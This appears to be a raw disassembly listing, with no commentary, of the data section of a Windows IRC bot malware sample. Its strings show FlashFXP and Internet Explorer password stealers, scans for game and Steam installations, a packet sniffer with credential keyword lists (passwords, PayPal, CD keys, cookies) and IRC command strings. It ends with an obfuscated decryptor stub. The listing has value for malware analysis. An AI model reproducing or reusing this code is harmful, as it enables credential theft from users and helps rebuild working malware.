		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41D018	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D050	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D080	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D0A0	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D0DC	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D0F0	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D138	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 10h
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D22C	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 4
dword_41D268	dd 2343003h, 2037525h	; DATA XREF: sub_414A1E+3C4o
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D2D4	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 10h
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 10h
asc_41D300	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 4
unk_41D308	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 10h
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D34C	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 4
dword_41D388	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D3E4	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41D42C	dd 70747468h, 2F3A73h	; DATA XREF: sub_414EF4+9DDo
dword_41D434	dd 70747468h, 2F3Ah	; DATA XREF: sub_414EF4+9C6o
dword_41D43C	dd 7274533Ah, 676E69h	; DATA XREF: sub_414EF4+983o
					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D45C	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D49C	dd 2Ch			; DATA XREF: sub_414EF4+83Bo
					; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D4AC	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 10h
dword_41D510	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D560	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D564	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 8
dword_41D598	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o
					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D5CC	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 10h
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D6FC	dd offset aUser_1	; DATA XREF: sub_415EB7+32o
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		dd 2 dup(0)
off_41D758	dd offset aLogin_0	; DATA XREF: sub_415EB7+54o
					; "login "
		align 10h
		dd offset aSxt		; "sxt "
		align 8
		dd offset aAuth		; "auth	"
		align 10h
		dd offset aPasswort	; "passwort "
		align 8
		dd offset aCdkey	; "cdkey"
		align 10h
		dd offset aCdKey_0	; "cd-key"
		align 8
		dd offset aCdKey	; "cd key"
		align 10h
		dd offset aPassword	; "password"
		align 8
		dd offset aPaypal_com	; "paypal.com"
		align 10h
		dd offset aPaypal	; "paypal"
		align 8
		dd offset aIrcOperator	; "irc operator"
		dd 0
		dd offset aLP		; "l/p"
		align 8
		dd offset aSsh1_5	; "SSH-1.5"
		align 10h
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D7CC	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		align 10h
off_41D810	dd offset dword_41D86C	; DATA XREF: sub_415EB7+98o
		align 8
		dd offset dword_41D864
		align 10h
		dd offset dword_41D85C
		align 8
		dd offset dword_41D854
		align 10h
		dd offset dword_41D84C
		align 8
		dd offset dword_41D844
		dd 2 dup(0)
dword_41D844	dd 54495551h, 20h	; DATA XREF: .data:0041D838o
dword_41D84C	dd 54524150h, 20h	; DATA XREF: .data:0041D830o
dword_41D854	dd 4E494F4Ah, 20h	; DATA XREF: .data:0041D828o
dword_41D85C	dd 49504F54h, 2043h	; DATA XREF: .data:0041D820o
dword_41D864	dd 49544F4Eh, 204543h	; DATA XREF: .data:0041D818o
dword_41D86C	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	.data:off_41D810o
aDdos		db 'ddos',0             ; DATA XREF: .data:0041D804o
		align 10h
aServu		db 'servu',0            ; DATA XREF: .data:0041D7FCo
		align 4
aServU		db 'serv u',0           ; DATA XREF: .data:0041D7F4o
		align 10h
aServU_0	db 'serv-u',0           ; DATA XREF: .data:0041D7ECo
		align 4
aClone		db 'clone ',0           ; DATA XREF: .data:0041D7E4o
		align 10h
aFlood		db 'flood ',0           ; DATA XREF: .data:0041D7DCo
		align 4
aSyn		db 'syn',0              ; DATA XREF: .data:0041D7D4o
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: .data:off_41D7CCo
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: .data:0041D7C0o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: .data:0041D7B8o
aLP		db 'l/p',0              ; DATA XREF: .data:0041D7B0o
aIrcOperator	db 'irc operator',0     ; DATA XREF: .data:0041D7A8o
		align 10h
aPaypal		db 'paypal',0           ; DATA XREF: .data:0041D7A0o
		align 4
aPaypal_com	db 'paypal.com',0       ; DATA XREF: .data:0041D798o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: .data:0041D788o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: .data:0041D780o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: .data:0041D778o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: .data:0041D770o
		align 4
aAuth		db 'auth ',0            ; DATA XREF: .data:0041D768o
		align 10h
aSxt		db 'sxt ',0             ; DATA XREF: .data:0041D760o
		align 4
aLogin_0	db 'login ',0           ; DATA XREF: .data:off_41D758o
		align 10h
aPw		db 'pw=',0              ; DATA XREF: .data:0041D74Co
aPass_1		db 'pass=',0            ; DATA XREF: .data:0041D744o
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: .data:0041D73Co
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: .data:0041D734o
		align 10h
aUsername_0	db 'username=',0        ; DATA XREF: .data:0041D72Co
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: .data:0041D724o
aAuth_0		db ' :auth ',0          ; DATA XREF: .data:0041D71Co
aIdentify	db 'identify ',0        ; DATA XREF: .data:0041D714o
		align 4
aOper		db 'oper ',0            ; DATA XREF: .data:0041D70Co
		align 10h
aMailpass	db 'MailPass ',0        ; DATA XREF: .data:0041D708o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: .data:0041D704o
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: .data:0041D700o
		align 10h
aUser_1		db 'user ',0            ; DATA XREF: .data:off_41D6FCo
		align 4
dword_41D9A8	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41D9DC	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 10h
dword_41DA10	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h
		dd 0B4ACFFE6h, 2 dup(0)
dword_41DA48	dd 0A1C21D0Eh		; DATA XREF: sub_40A9CF+843r
					; sub_4167F1+54r ...
dword_41DA4C	dd 0D6AF099Eh		; DATA XREF: sub_4167F1+4Cr
dword_41DA50	dd 0ED38F9D8h		; DATA XREF: sub_4167F1+41r
dword_41DA54	dd 5D58CED8h		; DATA XREF: sub_4167F1+3Br
		dd 0
off_41DA5C	dd offset dword_41DD44	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		dd 2 dup(0)
off_41DA68	dd offset dword_41CC4C	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DA6C	dd offset dword_41CC40	; DATA XREF: sub_40CF2F+B8r
dword_41DA70	dd 0			; DATA XREF: sub_40CF2F+D0r
					; sub_40CF2F+DFr
		dd offset dword_41CC2C
		dd offset dword_41CC20
		align 10h
		or	ah, cl
		inc	ecx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd 0
		dd offset dword_41CBE8
		dd offset dword_41CBDC
		dd 4 dup(0)
dword_41DAA4	dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo
					; sub_40D871:loc_40DCB8o
dword_41DAB4	dd 73616C23h, 74h, 1Eh dup(0) ;	DATA XREF: sub_40332B+1A1o
					; sub_4093B6+6Co ...
byte_41DB34	db 0C1h			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 85h,	0D8h, 0DFh
		dd 0F1h, 1Eh dup(0)
byte_41DBB4	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DC34	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_40A9CF:loc_40C4DAo
					; sub_40D871+242o
dword_41DC40	dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh	dup(0) ; DATA XREF: sub_406A23+2Eo
					; sub_406AE7+2Eo
dword_41DD44	dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0 ; DATA XREF:	.data:off_41DA5Co
dword_41DD54	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .data:00416B0Do
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: .data:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: .data:loc_416AC5o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: sub_4167F1+263o
		align 10h
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4167F1+5Ao
		align 10h
dword_41DDD0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o
off_41DDE0	dd offset off_4172BC	; DATA XREF: .data:off_4172C0o
					; .data:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DE00	dd offset off_4172BC	; DATA XREF: .data:off_417308o
					; .data:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DE18	dd 0			; DATA XREF: sub_401856:loc_40186Er
					; sub_401856+21r ...
dword_41DE1C	dd 0			; DATA XREF: sub_401856:loc_401883r
					; sub_401856+36r ...
dword_41DE20	dd 0			; DATA XREF: sub_401856:loc_401898r
					; sub_401856+4Br ...
dword_41DE24	dd 0			; DATA XREF: sub_401856+3r
					; sub_401856+Cr ...
		dd 0
dword_41DE2C	dd 0			; DATA XREF: sub_4018AF+40r
					; sub_4018AF+62r ...
byte_41DE30	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DE38	dd 0			; DATA XREF: sub_40332B+1Ar
					; sub_404CBB+1Br ...
dword_41DE3C	dd 0			; DATA XREF: sub_40332B+Bo
dword_41DE40	dd 77E7C706h		; DATA XREF: sub_403BD3+28w
					; sub_409C36+12r ...
		align 8
dword_41DE48	dd 71C245E0h		; DATA XREF: sub_403BD3+53w
dword_41DE4C	dd 71C243F6h		; DATA XREF: sub_403BD3+66w
dword_41DE50	dd 71C59904h		; DATA XREF: sub_403BD3+79w
dword_41DE54	dd 71C453F8h		; DATA XREF: sub_403BD3+8Cw
dword_41DE58	dd 71C2FA86h		; DATA XREF: sub_403BD3+9Fw
dword_41DE5C	dd 71C574FAh		; DATA XREF: sub_403BD3+B2w
dword_41DE60	dd 71C214BAh		; DATA XREF: sub_403BD3+C5w
dword_41DE64	dd 71C4A1B4h		; DATA XREF: sub_403BD3+D8w
dword_41DE68	dd 71C59530h		; DATA XREF: sub_403BD3+EBw
dword_41DE6C	dd 71B2ACCBh		; DATA XREF: sub_403BD3+112w
dword_41DE70	dd 71B22C25h		; DATA XREF: sub_403BD3+125w
dword_41DE74	dd 71B2A381h		; DATA XREF: sub_403BD3+138w
dword_41DE78	dd 71B28D0Dh		; DATA XREF: sub_403BD3+14Bw
dword_41DE7C	dd 7622A3F4h		; DATA XREF: sub_403BD3+219w
					; sub_408B30+118r ...
dword_41DE80	dd 5E0C4E7Dh		; DATA XREF: sub_403BD3+1F2w
					; sub_414EF4+6Cr ...
dword_41DE84	dd 71AB33DFh		; DATA XREF: sub_403BD3+16Cw
					; sub_403BD3+197r ...
dword_41DE88	dd 71ABC076h		; DATA XREF: sub_4020C2+DBr
					; sub_403BD3+17Fw ...
dword_41DE8C	dd 71AB3A2Ch		; DATA XREF: sub_403BD3+192w
					; sub_403BD3+1A9r ...
		dd 101h	dup(0)
dword_41E294	dd 0			; DATA XREF: sub_4042FB+3r
					; sub_4042FB+20o
dword_41E298	dd 0			; DATA XREF: sub_4042FB+12o
					; sub_4042FB:loc_404327r
		align 10h
dword_41E2A0	dd 76BF1C22h		; DATA XREF: sub_405FA3+46w
					; sub_405FA3+7Ar ...
dword_41E2A4	dd 76BF1D54h		; DATA XREF: sub_405FA3+59w
					; sub_405FA3+83r ...
dword_41E2A8	dd 76BF1E6Ch		; DATA XREF: sub_405FA3+6Cw
					; sub_405FA3+8Cr ...
dword_41E2AC	dd 76BF32DDh		; DATA XREF: sub_405FA3+33w
					; sub_405FA3+71r ...
dword_41E2B0	dd 14AE80h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_405FA3+4o
					; sub_406041+Bo ...
byte_41E2CC	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E2D0	dd 0			; DATA XREF: sub_409226+61w
					; sub_409226+77w ...
		align 8
dword_41E2D8	dd 14AEA8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40938F+1Ao
					; sub_4095A4+6o ...
dword_41E2F0	dd 0			; DATA XREF: sub_40938F+3w
					; sub_4095A4+11r ...
		align 8
dword_41E2F8	dd 863A00h		; DATA XREF: sub_40938F+15w
					; sub_4095A4+57r ...
dword_41E2FC	dd 0			; DATA XREF: sub_409CB1+6r
					; sub_409DD0+65w ...
dword_41E300	dd 0			; DATA XREF: sub_409DD0+3Fw
					; sub_409DD0+44r ...
dword_41E304	dd 0			; DATA XREF: sub_409CB1+F6r
					; sub_409DD0+91w ...
dword_41E308	dd 0			; DATA XREF: sub_409CB1+B9r
					; sub_409DD0+7Bw ...
		align 10h
byte_41E310	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E718	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E898	dd 40h dup(0)		; DATA XREF: sub_40CF2F+Eo
					; sub_40CF2F+A6o ...
dword_41E998	dd 3 dup(0)		; DATA XREF: sub_40CF2F+23o
					; sub_40CF2F+36o ...
dword_41E9A4	dd 0			; DATA XREF: sub_40CF25+3r
					; sub_40D366+15r ...
		dd 0
dword_41E9AC	dd 0			; DATA XREF: sub_40E618+49w
					; sub_40E618:loc_40E66Dw
byte_41E9B0	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EAB4	db 8Bh			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
		db 0B9h, 0DBh, 0B0h
		dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0
dword_41EAC8	dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h,	0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EADC	dd 84FA1F6Dh		; DATA XREF: sub_4102AE+1Do
					; sub_410318+7w ...
dword_41EAE0	dd 0FE4D3D92h		; DATA XREF: sub_4102AE+2Do
					; sub_410318+11w ...
dword_41EAE4	dd 0A189687Fh		; DATA XREF: sub_4102AE+3Do
					; sub_410318+1Bw ...
dword_41EAE8	dd 0B4202C6h		; DATA XREF: sub_4102AE+4Do
					; sub_410318+25w ...
		align 10h
byte_41EAF0	db 0E2h			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
		db 0E6h, 0B7h, 0B0h
		dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0)
dword_41EB08	dd 2 dup(0)		; DATA XREF: sub_41113B+7E8o
dword_41EB10	dd 0			; DATA XREF: sub_411DC5+557o
dword_41EB14	dd 2 dup(0)		; DATA XREF: sub_411DC5+579o
dword_41EB1C	dd 0			; DATA XREF: sub_4127D0+9r
					; sub_4127D0+16w
dword_41EB20	dd 0			; DATA XREF: sub_4127D0+BFw
					; sub_4127D0:loc_4128A0r
dword_41EB24	dd 2 dup(0)		; DATA XREF: sub_412D4C+3o
					; sub_412E04+7Fo
dword_41EB2C	dd 6B636170h, 652E6465h, 6578h,	3Eh dup(0) ; DATA XREF:	sub_406E8E+208o
					; sub_407148+172o ...
dword_41EC30	dd 258819E5h		; DATA XREF: sub_40A9CF+838r
					; sub_4167F1+118w
dword_41EC34	dd 6A1895F0h		; DATA XREF: sub_4167F1+122w
dword_41EC38	dd 0F2E59FAh		; DATA XREF: sub_4167F1+12Cw
dword_41EC3C	dd 8350B661h		; DATA XREF: sub_4167F1+136w
dword_41EC40	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0) ; DATA XREF:	sub_40A9CF+C3Do
					; sub_40A9CF+C51o ...
dword_41ED48	dd 40h dup(0)		; DATA XREF: sub_40A9CF+1082o
					; sub_40A9CF+108Eo ...
byte_41EE48	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EEC8	db 0			; DATA XREF: sub_403DF3:loc_403F07r
					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41EF48	dd 40h dup(0)		; DATA XREF: sub_404279+36o
					; sub_4055E5+746o ...
byte_41F048	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 4
		dd 3EDh	dup(0)
; ---------------------------------------------------------------------------
		pusha
		push	edi
		xchg	edi, ebx
		jmp	short loc_420007
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------

loc_420007:				; CODE XREF: .data:00420004j
		pop	ebx
		xchg	edi, ebx
		jmp	short loc_420011
; ---------------------------------------------------------------------------
		db 0Fh,	23h
; ---------------------------------------------------------------------------

loc_42000E:				; CODE XREF: .data:loc_420011j
		jmp	short loc_420013
; ---------------------------------------------------------------------------
		db 31h
; ---------------------------------------------------------------------------

loc_420011:				; CODE XREF: .data:0042000Aj
		jmp	short loc_42000E
; ---------------------------------------------------------------------------

loc_420013:				; CODE XREF: .data:loc_42000Ej
					; .data:loc_420013j
		jmp	short near ptr loc_420013+1
; ---------------------------------------------------------------------------
		db 0F6h, 8Bh, 0F7h
		dd 83F7875Fh, 4C704ECh,	0DB2F24h, 0EC835800h, 2404C704h
		dd 40h,	0F0FFEB59h, 0C102C2C1h,	0F1FF02CAh, 0F315FFEBh
		dd 0EB004204h, 0FFEBF0FFh, 8B4444F0h, 44FE244Ch, 0FB875744h
		dd 5B0F01EBh, 68FB87h, 5D004010h, 836901EBh, 4C704ECh
		dd 0DB2F24h, 5D8A5A00h,	82DA3200h, 0EB80BBF3h, 0FEDA02EBh
		dd 3AEB80CBh, 0F603C3C0h, 2D300D3h, 3DC3C0DAh, 0FF451988h
		dd 0CAFFEBC1h, 0F00FA83h, 0FFFFD185h, 8B4444FFh, 44FE2474h
		dd 0FB875744h, 5B0F01EBh, 68FB87h, 8B004010h, 0C483243Ch
		dd 0F6FFEB04h, 230F05EBh, 0EB3103EBh, 55968FBh,	48B0042h
		dd 4C48324h, 0FFEBD0FFh, 4204F715h, 1E85000h, 0C7000000h
		dd 8C08358h, 58E0FFEBh,	0C2C100EBh, 2CAC102h, 0BD55D287h
		dd 719h, 40685D95h, 59000000h, 51F0FFEBh, 0F315FFEBh, 50004204h
		dd 0F0FFC987h, 444400EBh, 0FE247C8Bh, 684444h, 5A004170h
		dd 0C704EC83h, 7192404h, 8A580000h, 82F82A3Ah, 0CFC0FFEFh
		dd 0E5EF82B3h, 828AC782h, 0C78015C7h, 0A4EF8066h, 2FFF780h
		dd 64EF82F8h, 3F88F832h, 423101EBh, 8BF6FFEBh, 0F7875FF7h
		dd 0C8FFEB47h, 0F00F883h, 0FFFFC285h, 685EFFh, 8B004170h
		dd 0C483243Ch, 0C1C98704h, 0C6C120C6h, 6901EB20h, 903101EBh
		dd 0E850F6FFh, 1, 0C08358C7h, 0E0FFEB08h, 559B858h, 0D0FF0042h
